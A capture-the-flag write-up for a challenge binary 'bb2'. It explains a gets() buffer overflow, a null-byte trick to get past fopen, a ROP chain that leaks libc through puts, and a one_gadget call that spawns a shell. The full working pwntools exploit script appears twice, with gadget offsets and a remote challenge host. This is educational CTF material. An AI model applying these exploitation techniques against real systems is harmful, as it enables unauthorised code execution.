Tags: binary-exploitation ropchain libc-2.28 rop 

Rating:

# Environment
OS: Ubuntu 20.04
Docker container: https://github.com/skysider/pwndocker

# Set up glibc
```
> cp /glibc/2.27/64/lib/ld-2.28.so /tmp/ld.so
> patchelf --set-interpreter /tmp/ld.so ./bb2
```

In the script, ensure you set up the `pwntools` `env` when building the process:

```python
env = {"LD_PRELOAD": "./libc-2.28.so"}
...
process([exe.path] + argv, env=env, *a, **kw)
```

# Bug finding

If you look at the source code, you'll see the use of the `gets()` function. The `man` page for `gets` says this:

> Never use gets(). Because it is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use. It has been used to break computer security. Use fgets() instead.

There are several calls to `gets()`.

We'll call the calls the "source file gets" and the "target file gets".

## Target file `gets()`

The "target file gets" seems to be a good cancidate because the "source file gets" has a requirement: it must be a valid file. The "target file gets" needs to be a valid file too but it can be anything we want. I started with the "target file gets" of:

```
import pwntools
...
xpl = b"tmp/" + cyclic(100)
...
io.sendlineafter("target file", xpl)
```

However, when running this through GDB, the filename truncates or segfaults. I decided to move on.

## Source file `gets()`

The "source file gets" input fills into a small buffer. However, you can simply write in a bunch of arbitrary data since there is an `fopens()` nearby that must not return NULL. There is probably not a file in the system that is `/tmp/AAAABBBBCCCDDDDEEEEFFFGGGGHHHHIIIJJJJ` or anything like that.

_However_, `gets()` actually doesn't stop reading the input until a newline character: `0x0a`. You can give it a null byte and it will continue to read it. `fopen()` reads the string until a null byte. Therefore, `gets()` will read in something different to `fopen()`. We can add `0x00` in the middle of our input string and `gets()` will read it into the stack while `fopen()` will read only up until the null byte.

# Exploitation - getting control of the instruction pointer

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template bb2
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('bb2')
libc = ELF("./libc-2.28.so")
context.terminal = "tmux splitw -v".split()

# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR

env = {"LD_PRELOAD": "./libc-2.28.so"}
#env = {}

def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe.path] + argv, env=env, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, env=env, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
break *0x00000000004012cf
continue
'''.format(**locals())

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)

io = start()

io.sendlineafter("file to copy", b"/etc/passwd\x00" + cyclic(100))
io.sendlineafter("target file", b"/tmp/abcd")

io.interactive()
```

**Note**: the above was generated by doing `pwn template bb2 > xpl.py`
**Note**: the 2nd `gdbscript` breakpoint is near the return of `main`

If you run this by doing `python3 xpl.py GDB`, you'll get a GDB screen (assuming you have `tmux` installed) on the bottom. You can type in `c` or `continue` to continue to near the return breakpoint. Stepping through the instructions, you'll see that the `rip` value is part of the `cyclic()` string.

You have full control over the instruction pointer.

# Exploitation - getting a shell
How are you supposed to get a shell with just an instruction pointer?

We're going to use a ROP chain. `pwntools` is pretty neat in that it makes ROP chains really easy to make. It's worth knowing how it works but after a while, you get bored of dealing with the minutae and you just want things to work.

We were given `libc-2.28.so` which probably means we want to leak glibc.

**Note**: the binary itself has PIE (position independent executable) disabled which means that the addresses of the binary are always going to be the same. However, any libc usually has PIE _enabled_. We don't know the address of anything because it's always randomized.

We can leak libc by doing something like this:

```python
...
rc = ROP(exe)
rc.puts(exe.sym.got["puts"])
...
```

The above snippet basically creates some binary string that runs `puts(puts)` which means "give me the address of the `puts` function".

This will tell you the address of `puts` and you can use a libc database (e.g., https://libc.blukat.me/?q=puts%3A910&l=libc6_2.28-10_amd64) to determine where `puts` is relative to the base of libc.

```python
...
resp = io.recvuntil("file to copy")
puts_leak = u64(resp.split(b"\n")[2].ljust(8, b"\x00"))
log.success("puts @ {}".format(hex(puts_leak)))
libc.address = puts_leak - 0x071910
log.success("libc base @ {}".format(hex(libc.address)))
...
```

**Note**: the 2nd line above boils down to getting the address that's printed out then adding a bunch of `0x00`s to the beginning of the address until it's a full 8 bytes long (due to the 64-bit architecture of the binary). Then we run `u64()` (unpack a 64 bit byte string to an integer) against it.

At this point the binary will exit... How will attack the binary after getting the leak? Since we have a ROP chain, we can simply ask the binary to run `main` again:

```python
...
rc = ROP(exe)
rc.puts(exe.sym.got["puts"])
rc.raw(p64(exe.sym["main"]))
...
```

Now, after printing out the address of puts (and you subsequently figuring out the base address of libc), you get the vulnerable function again.

We can build another ROP chain to get a shell:

```
...
pop_rax = libc.address + 0x000000000003a638
one_gadget = libc.address + 0x4484f

rc = ROP(exe)
rc.raw(p64(pop_rax))
rc.raw(p64(0x0))
rc.raw(p64(one_gadget))

io.sendline(b"/etc/passwd\x00" + cyclic(cut) + rc.chain())
io.sendline(b"/tmp/ABCD")
...
```

I used `one_gadget` (https://github.com/david942j/one_gadget) to find an easy gadget to get a shell (as opposed to writing "/bin/sh" to the bss region, then slowly fiddling with registers):

```
0x4484f execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
```

The constraint for this gadget is that `rax` must be NULL (i.e., `0x00`).

I found a `pop rax; ret` call in libc by doing `ROPgadget --binary ./libc-2.28.so > rg`. Notice that we have to add the libc base address every time. This is because of PIE. The offsets will always be the same but the base address won't; it will change for each run of the binary.

This will set `rax` to `0x00`:

```
rc.raw(p64(pop_rax))
rc.raw(p64(0x0))
```

Then we invoke our one_gadget:

```
rc.raw(p64(one_gadget))
```

We then exploit the binary the same way as the first time (with the `0x00` byte in the middle of our exploit string).

You should have a shell now!

**NOTE**: when running this locally, the exploit will segfault even though GDB will say that `/bin/bash` was executed and forked. I haven't figured out why this happens but since GDB says a shell was invoked and forked, I assumed it worked and I ran it against the remote server and it indeed works.

# Full exploit code

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template bb2
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('bb2')
libc = ELF("./libc-2.28.so")
context.terminal = "tmux splitw -v".split()

# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR

env = {"LD_PRELOAD": "./libc-2.28.so"}
#env = {}

def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe.path] + argv, env=env, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, env=env, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
break *0x00000000004012cf
continue
'''.format(**locals())

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)

io = start()
#io = remote("host1.metaproblems.com", 5152)

rc = ROP(exe)
rc.puts(exe.sym.got["puts"])
rc.raw(p64(exe.sym["main"]))

cut = cyclic_find(0x6161616c)
io.sendlineafter("file to copy", b"/etc/passwd\x00" + cyclic(cut) + rc.chain())
io.sendlineafter("target file", b"/tmp/abcd")

resp = io.recvuntil("file to copy")
puts_leak = u64(resp.split(b"\n")[2].ljust(8, b"\x00"))
log.success("puts @ {}".format(hex(puts_leak)))
libc.address = puts_leak - 0x071910
log.success("libc base @ {}".format(hex(libc.address)))

pop_rax = libc.address + 0x000000000003a638
one_gadget = libc.address + 0x4484f

rc = ROP(exe)
rc.raw(p64(pop_rax))
rc.raw(p64(0x0))
rc.raw(p64(one_gadget))

io.sendline(b"/etc/passwd\x00" + cyclic(cut) + rc.chain())
io.sendline(b"/tmp/ABCD")

io.interactive()
```